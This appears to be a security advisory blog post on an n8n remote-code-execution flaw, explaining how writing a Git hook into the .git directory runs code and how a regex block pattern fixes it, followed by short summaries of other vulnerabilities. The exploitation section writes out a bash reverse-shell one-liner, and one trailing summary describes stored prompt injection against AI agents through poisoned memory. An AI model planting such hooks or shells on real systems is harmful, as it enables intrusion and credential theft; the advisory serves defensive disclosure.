Feb 26, 2026·5 min read·131 visits
Authenticated RCE in n8n via filesystem manipulation. Attackers can write malicious scripts to `.git/hooks` or `.git/config` using standard workflow nodes. When n8n triggers a Git operation, the script runs, popping a shell on the host.
A critical Remote Code Execution (RCE) vulnerability exists in n8n, the popular workflow automation tool. By design, n8n allows users to automate file operations. However, a failure to restrict access to the `.git` directory allows authenticated users to write malicious Git hooks or configuration files. When the system subsequently performs a Git operation, these malicious files are executed by the host OS, granting full control to the attacker. It turns the very features that make n8n powerful—flexibility and filesystem access—into a weapon.
n8n is the 'fair-code' darling of the automation world. It’s like Zapier, but for people who like to self-host and write JavaScript. It’s powerful, flexible, and sits at the center of your stack, holding credentials for your databases, CRMs, and cloud providers. That makes it a high-value target. If you pop an n8n instance, you don't just get a server; you get the keys to the entire kingdom.
The vulnerability, CVE-2026-27498, is a classic case of "features gone wild." n8n is designed to read and write files. It is also designed to interact with Git repositories for version control. The problem? It didn't draw a line between "user data" and "system metadata." It let you treat the hidden .git directory just like any other folder. And as any red-teamer knows, if you can write to .git, you own the repo—and the machine running it.
The root cause here is Improper Control of Generation of Code (CWE-94), but let's call it what it really is: a logic flaw in file permission boundaries. The n8n node responsible for file I/O (ReadWriteFile) happily accepts paths provided by the user. While there are settings to restrict access to specific directories, the implementation failed to account for the danger of modifying internal version control structures.
Git is not just a storage format; it is an executable environment. It has hooks—shell scripts that run automatically when specific events happen (commits, pushes, checkouts). It has configuration files (.git/config) that can define external commands (like core.sshCommand).
The vulnerability is simple: n8n allowed a workflow to write a file named .git/hooks/post-checkout (or similar). The system didn't see this as a threat; it just saw a file write. But to the Git binary, that file is an executable instruction. The next time n8n performed a Git operation (which it does for its own version control features), Git effectively said, "Oh, a hook! I better execute this immediately."
The fix involved implementing a blacklist pattern to forbid access to sensitive paths. The developers introduced a new environment variable, N8N_BLOCK_FILE_PATTERNS, and enforced a check before any file write operation occurs.
Here is a reconstruction of the logic change based on commit 97365caf253978ba8e46d7bc53fa7ac3b6f67b32. They moved from a permissive model to a restrictive one regarding dot-files associated with git.
// THE VULNERABLE LOGIC (Conceptual)
// If the user has permission to write to /home/n8n, they can write anywhere inside it.
if (config.fileSystem.writeEnabled) {
fs.writeFileSync(userPath, content);
}
// THE FIX (Conceptual)
// Explicitly checking for the .git directory pattern
const BLOCKED_PATTERNS = [ /^(.*\/)*\.git(\/.*)*$/ ];
function isFilePathBlocked(path) {
const resolvedPath = fs.realpathSync(path);
return BLOCKED_PATTERNS.some(pattern => pattern.test(resolvedPath));
}
if (isFilePathBlocked(userPath)) {
throw new NodeOperationError(node, 'Access to this file path is restricted.');
}> [!NOTE] > The fix relies on Regex. As we all know, Regex is the duct tape of security patches. While effective against standard paths, one must wonder about edge cases in path normalization on Windows systems vs Linux systems.
Exploiting this is trivially easy if you have access to the n8n UI. You don't need memory corruption or buffer overflows; you just need to build a workflow. Here is the recipe for disaster:
/home/node/.n8n/git/workflow-repo/.git/hooks/post-commit (Adjust path to match the installation).#!/bin/bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1+x, but .git/config modification requires no execution bits. Alternatively, overwrite HEAD to point to a malicious ref.git commit, your hook fires, and a reverse shell connects back to your listener.This is a CVSS 9.0 for a reason. n8n is often deployed with access to internal networks, databases, and third-party APIs. It contains credentials—API keys, OAuth tokens, database passwords—stored in its encrypted credentials database.
An attacker with RCE on the n8n host can:
Because n8n allows executing arbitrary shell commands via the "Execute Command" node if enabled, many admins disable that node. This vulnerability bypasses that restriction entirely, proving that disabling the front door doesn't matter if the chimney is wide open.
The remediation is straightforward: Update immediately.
N8N_BLOCK_FILE_PATTERNS. Set it to ^(.*\/)*\.git(\/.*)*$.However, the best defense is depth. Why does your automation tool need write access to the entire disk? Run n8n in a container with a read-only root filesystem, mounting only specific writable directories for data persistence. And for the love of security, do not run it as root.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n.io | < 1.123.8 | 1.123.8 |
n8n n8n.io | >= 2.0.0, < 2.2.0 | 2.2.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| CVSS v4.0 | 9.0 (Critical) |
| Vector | AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| Attack Vector | Network (Authenticated) |
| Privileges Required | Low (Workflow Editor) |
| Status | PoC Available |
The software generates code or other content, but it does not sufficiently ensure that the generated code is free of malicious content, leading to Code Injection.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.